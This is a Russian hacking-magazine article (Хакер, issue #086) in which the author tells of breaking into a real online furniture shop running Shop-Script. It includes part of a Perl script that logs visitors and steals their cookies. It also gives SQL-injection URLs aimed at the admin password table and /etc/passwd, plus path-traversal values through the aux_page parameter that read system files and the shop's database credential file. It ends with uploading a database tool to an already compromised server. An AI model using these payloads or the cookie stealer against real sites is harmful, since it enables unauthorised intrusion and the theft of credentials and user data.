Берем магазины под контроль k00p3r (secinfo@mail.ru) Хакер, номер #086, стр. 086-076-2 open (LOG,"$LogFile") || die "Can't Open $LogFile: $!\n"; @LOGtext=<LOG>; close (LOG); open (LOG, ">$LogFile");#открываем на запись лог #сохраняем данные запроса print LOG "[$now_string] IP=$ENV{'REMOTE_ADDR'} REFERER=$ref QUERY=$input\n"; #сохраняем остальные логи, так что бы длина лог-файла не превышала mlength $counter=1; foreach $LOGitem (@LOGtext) { if ($counter<$mlength){ print LOG "$LOGitem"; }; $counter++; }; close (LOG);#закрываем лог exit; Приведенный скрипт позволяет отслеживать IP-адрес, поле Referer и принимать произвольные данные, переданные скрипту. Сценарий возвращает пользователю картинку, крадет его кукисы и не вызывает подозрений. [второй баг] Задействовав поисковик(даже не буду говорить какой), был выбран сайт, работающий на Shop-Script. Естественно, перед этим я не забыл про свою анонимность. На сайте торговали какой-то мебелью. Хотя мне было без разницы :). Задача была одна – получить доступ к админке либо к базе данных. Не обладая достаточными знаниями по sql-injection, я все-таки пытался вытянуть информацию из БД. Было несколько вариантов вроде http://mebelart.com/index.php?categoryID=666+union+select+null,null,null,null,null,null,null,null,null,null,null,null,null,null,null/*, но количество столбцов не совпадало (следовало воспользоваться скриптом для подборки числа выбираемых полей или подобрать его руками. – Прим. ред.). В общем, нужного эффекта мне достигнуть не удалось. Тогда было решено подключить к этому делу своего знакомого, который неплохо разбирается в sql-injection. Он был слишком разговорчив и подкинул несколько идей: http://mebelart.com/index.php?categoryID=-1%20union%20select%20load_file('/etc/passwd')%20from%20admin/* http://mebelart.com/index.php?categoryID=-1%20union%20select%20password%20from%20admin/* Однако реализовать предложенное им у меня опять не получилось, и я решил продолжить атаку на следующий день. [новые решения] Честно говоря, мне совсем не хотелось вылавливать админские «печеньки» с помощью CSS. Вытащить же данные из базы никак не получалось. Казалось бы, что выхода нет и придется довольствоваться лишь фактом присутствия уязвимостей. Но тут я подумал, что раз в системе присутствуют 2 классических бага, то почему бы не попробовать реализовать и третий? :) И точно, интуиция меня не подвела. У скрипта index.php есть параметр aux_page, именно он умел читать файлы на сервере. Недолго думая, я решил просмотреть логины юзверей. Подставив aux_page=../../../../../../../etc/passwd, я увидел все логины. Посмотрев исходники движка, был найден интересный файл connect.inc.php, который находился в директории cfg. В нем была полная информация для подключения к БД. То есть хост, логин, пароль и логин администратора магазина. Теперь, подставив в параметр aux_page и значение ../cfg/connect.inc.php, скрипт выдал пустую страницу, посмотрев исходник которой, был достигнут желаемый результат: там я обнаружил идентификаторы для подключения к БД. Далее я залил скрипт sql.php (также для этих целей подойдет программа SQLyog) от команды RST, на ранее поломанный сервер, и подключился к базе данных. |